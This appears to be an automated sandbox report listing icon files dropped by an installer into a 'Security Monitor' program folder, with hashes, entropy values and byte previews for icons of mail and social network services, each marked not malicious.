SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Outlook.Live.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Yahoo Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\Yandex Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\facebook.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.0320556453234735
Encrypted:	false
SSDEEP:	48:9C4c77Xlnvx3vIrhdu95k8e00PK5Qw9hN51sEUqK4hlEVnNApv1k8Z5RWVG4444M:44I7X9Zft0P0r+oh/wVnQv3RWVtrQbe
MD5:	AC6FE311F112F577F6A7108D053180ED
SHA1:	AEA6C67AE58A4B0452BBC37170A2F8C948ADE5C1
SHA-256:	5AC764E501C1968A766B7DDCAF3407F25E212EB3E1147D1DF3B34336A511E63F
SHA-512:	A7EFD0FEED7C54DC5756265936AB2E091F2465AE73F4C7A5254AECDA3B02291343822F22FA61399F91B35762655B26D8FB479492561CAEA5F39F33FBE0178281
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................eee.```.nnn.jjj+lll;mmmClllEjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGjjjGlllEmmmCkkk;kkk-jjj.ooo.```.....nnn.rrr.kkk%kkkGkkkcmmmukkk.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.lll.mmm.lllwmmmckkkGnnn'kkk.mmm.lll.lll#mmmMmmmw.i\..gP.gL.iN.iN.jO.kO.lO.mP.mQ.nR.pR.qS.rS.qR.pR.nR.mQ.mP.kO.kO.jO.iQ.j\.lllwkkkMhhh%qqq.jjj.lll;rkhw.dI...................................................................gJ.tjf{lll=mmm.jjj!lllQ.cH.a>.....d..nK..jE..jF..lF..mG..nH..oI..qJ..rJ..sK..sK..vN..wN..vN..uM..sL..pJ..nH..nG..pL..d.....e@..eH.mmmQmmm!iii).fY.._=.....vV..c?..e@..fA..gA..hB..jC..kD..lD..mE..nF..oF..k@.....................}..d;..iC..hB..gA..wV.....c?..gV.mmm)mmm-.aI......e..b>..c?..d@..e@..gA..hB..iC..jC..kD..lE..mE..mE..h?.........................b9..iC..hB..fA..e@..d.....dI.lll+kkk-._D.....mM..a>..b>..d?..e@..fA..gA..h

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\google+.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.288019933532579
Encrypted:	false
SSDEEP:	96:OjwqZN3wbSWxcd+/da0jaP77C9AVM24KveTySDQF:OjwqZNAbSWxcIOvCWe2SY
MD5:	D3C536BA60769EC6301D00AA3EF5E2EE
SHA1:	5896533F46A247CE288CDC2268ED7C90F5AFC433
SHA-256:	828C41C37260041061C57765B8316A30768306AAA829815F25AB7FE5FB9955C2
SHA-512:	9BA9C36F464D2C260215A765DAF67E789B09EBEC484000037EE394277419692B85497ED4643B6770A5FCB641363FE05DBF15F33C6DF56C46837DEE5DAB8BA7AF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[.......................k.k........................................................[...................................-............................................6.6.,.,...&.&."."....................................-................................................g...A...1...,...>...o.......q.q.'.'.).).%.%.!.!........................................................[................U...<...:...3...+...$......................&.&.).).%.%. . ................................[................................]...O...H...A...9...2...*...#...........'.......~.~.+.+.(.(.$.$. . .............................................................N...V...O...G...@.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\imp.free.fr.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\instagram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.977825738278547
Encrypted:	false
SSDEEP:	96:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWxDrsAC/nqfyS:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWF
MD5:	013FF196FE6FA64188221F539A0C75FA
SHA1:	167852F22EEC0C7CD621ECB343DF0F05A855343E
SHA-256:	27B388961D008A5B3085B27942F398021EC73D57549EA62EFF9D1D9542A8C4AD
SHA-512:	046BE975703A10D75ED67D7C71EC87E63F2FD1CE8915521BD30629B6A4A06E3D10EA646B4ADE10F2D8ECC9297FB5165741E1AD4BDB961669CE66E19B80EBCE61
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...............y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y.......\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...r...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...o...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...m...n...n...n...n...n...n...n...n...p.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-1BANN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.673387955380768
Encrypted:	false
SSDEEP:	96:Q0YV+XQJt9CeeTQLvNDg9m8nlVlurzJW37a5Mm9bYHEh:9YxCeQQ5DgM8nlVgr9W3emm9bYHEh
MD5:	ECDF723831AEFF58D496FC70C8283BF6
SHA1:	F4FAC6B07305CFB612625391FC50333071665167
SHA-256:	97D0CF1DB2088A9D3EDDE44EF4BBE8731C82FE8539C89BB45A72E9F131BDCE19
SHA-512:	B7FCDCF49BE8507950EFE02890BE516A99BACE7DAB1D6571DF4037C95011491944AE107EE5E507BFDAF342048264AA623E44AAE66824088333DC343051734866
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................6...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...5...6.......:...L...U...N...M...N...Q...T...X...]...b...f...j..!n.."q..#s..$s..#s.."q..!n...j...f...a...]...X...T...Q...N...N...U...L...:...:...X...F...@...?...?...B...E...I...N...S...W...[...^...b...c...c...c...a...^...[...V...R...M...I...E...B...?...@...F...X...:...;...U...D...A...@...@...A...C...F...J...M...P...S...V...X...Y...Z...Y...X...V...S...P...L...I...F...C...A...@...A...D...U...;...<...V...F...C...B...A...@...A...C...E...H...J...L...N...O...P...P...O...O...M...K...I...G...E...C...A...A...B...C...F...V...<...=...W...G...F...C...B...A...@...A...B...C...A...B...D...G...H...H...G...E...B...B...C...C...B...A...A...B...C...F...G...W...=...=...Y...I...G...F...D...C...B...A...B...>...5...1\|..5...>...C...C...?...6...1\|..5...?...B...A...B...C...D...F...G...I...Y...=...>...[...K...I...I...G...G...D...C...C...D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-1H5GM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.907302157036138
Encrypted:	false
SSDEEP:	48:+BfZk7WDHWwgHz/8EKnha1Za+Wt4UhU6XkfAsq6BfyTLDJa8LaMahaavC:ykCrFEZ1k+Wt4UG54sqU6TJaoaMahaa
MD5:	E6EB914C76409FE1F3D53E3C181CC9D9
SHA1:	36A34D8F71B146A39A68F7C0AB02A566FCA24A85
SHA-256:	060DFC41C4D3CCEFA3FD8E104302B42408DA7F54CA13096ED7836EF57C5B4D6D
SHA-512:	7EA5748DF3C9229E166AC5578A23C56FEFC3E395A53D24305FB39D909F1F5ED5193A5F349824890C31D0AD90F7A6A574184A5E0E52C4BA83D868C71B94BB8B87
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[...................................................................................[...................................-..................................................................................................-......................................................................................................................................................[...........................................................................................................[.............................................................Q..'.....................*..................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-2S7FN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-BMU88.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.977825738278547
Encrypted:	false
SSDEEP:	96:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWxDrsAC/nqfyS:hszWWWWWWWWWWWWWWWWWWWWWWWWWWWWF
MD5:	013FF196FE6FA64188221F539A0C75FA
SHA1:	167852F22EEC0C7CD621ECB343DF0F05A855343E
SHA-256:	27B388961D008A5B3085B27942F398021EC73D57549EA62EFF9D1D9542A8C4AD
SHA-512:	046BE975703A10D75ED67D7C71EC87E63F2FD1CE8915521BD30629B6A4A06E3D10EA646B4ADE10F2D8ECC9297FB5165741E1AD4BDB961669CE66E19B80EBCE61
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...............y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y.......\|...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...}...v...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...w...v...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...u...r...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...s...o...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...m...n...n...n...n...n...n...n...n...p.....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-CLQ1O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-CMR2P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.433906899003064
Encrypted:	false
SSDEEP:	48:FYv/RQcs//cF///cPG/////cP5Q//////cPQ////////ce///////cE4/////c3Q:uv/RdBmTBVlbaMeExLKwePaSO
MD5:	5B44B02CBAC63F77EDFDB9C6B685AD91
SHA1:	D8592C8C56F4E6DE68835268459472F24362A9CD
SHA-256:	9CD7273F90F5F7C4BD2003695920A551B204A2F73690D6B0918323E2649DD15A
SHA-512:	F0D33196CE43A5D599D271E1176A5A76FD09B271A3B44810CD9DE9310FE4EF57EA1D71918F6B596C1AB42755C890B61D5EF49EBDDE72D5AC879C137B497E83E6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L]..LY.MY..........................................................................9../9..-8.2....O_..MY..MZ..MZ................................................................................................./9../9..-7..-8.2NY.XMZ..MZ..MZ...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-DBQ8O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-E045N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.907368134642011
Encrypted:	false
SSDEEP:	48:WRkPCxmKeaeee6Sz1WDl2bbkVmB4g7mGpzSl:0xmKfSz18C+wQl
MD5:	5738301E256B421DA693EFD4DC523727
SHA1:	18C0624ED82BA03C8A1FBDB720F47DAEE5A694E3
SHA-256:	67CD0A812DBCB3FAC6D87A01EF134D66937DA8166602854CB6FC01DA7A94388D
SHA-512:	75E6B019DBBA805982A4168D17FEB46DFF8C832DA1BA0A6B3C131725FB0D0ECD598532576620A086867EE679486819FB0332F25597E9FC1B42454E846B3EC84D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................................................................................................................G.......................................................................5...............................................................U...........................................(...........................................................................................u...........................0...........................................................................]...............................}...........5...................................................................................:...........................................................................................................................................................................................................~..................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-F145G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.532691390134044
Encrypted:	false
SSDEEP:	96:nY99Q99TqqeqQEqqeqQ4q0AqPwqKzj05pjskYoE6cCLa5v8XrimfI:vqqeqQEqqeqQ4q0AqPwqKzj05pjxzBaL
MD5:	EA7CF6E021F69BF2044DC239F9875D65
SHA1:	69699CA689463AC506D522CB95EA2507EE9D59F9
SHA-256:	524AE1533708F5B47C73B4513662DAE775303FC2EF5D39B238D139C18864D24B
SHA-512:	019AE06EA6F6CA327465EEBCBF54055CE833B5D5C1BB79AF89EE26351B088BB11E8E1E9544563FC663939D6D25DD2314BE208BDC0AFD6699741103E4C57CA090
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................................................................................................5y{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c...5y............../..4..:..A..J...S...\...f...p...w..............................y...o...c..Y..P..G..@..;..3..............3..<...B...C...C...E...J...J...J...J...J...E...C...C...C...C...D...I...J...J...J...J...I...C...C...C...C...B...?..0..........;...G...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...H...A..5...........<...J...O...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...B..3...........<...J...Q...O...I...I...I...I...K...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-GBLMG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0368545253190575
Encrypted:	false
SSDEEP:	24:suW8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFd:CnnnnnnnckhOktpqNbfYI0HnnU
MD5:	FDA8396F15F15D61AC82C01DEBD0C356
SHA1:	CB0B8623FB7B62BACA444C76BE9F69BD4D2963A1
SHA-256:	E9180F49762D2798D2D3AF867BFA78F7CDEAA87BE9190C4D40BBA799F6E49FCC
SHA-512:	DEEB917EB7240A2D157F11F2167A1B3FE6CE91C63B125F18671C03D8117AAC736B431BBCF6015A73DBEDD94A8F5D10D1988D7FC96FCA0B3F05324EE800581D15
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...H...................................................................................................................H...H...H...H.....................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\is-ICR5Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.506385614203068
Encrypted:	false
SSDEEP:	96:8++kbjhMq1a9dJsg987jefKQ4N8tttttttttttttttttt6n:v+kbjhMgxjefKVl
MD5:	7B60FEEE9EF0D5277330748C9E1592A3
SHA1:	54DCE445A030CF59EFC15B1AB977EE6358BC02BC
SHA-256:	8891B8CB9AD98FB86BEA6DD1D3D8717C997440CEE2519565A3D9B46133FDB5DC
SHA-512:	915D4CD6C012DB9EC96257D4B1AD40367E1DE0940A22695547EA55DACBD2DB3FCD869556886013618A5F09053C6C8CBE97950E798794B1E681488FE98F52E84F
Malicious:	false
Reputation:	unknown
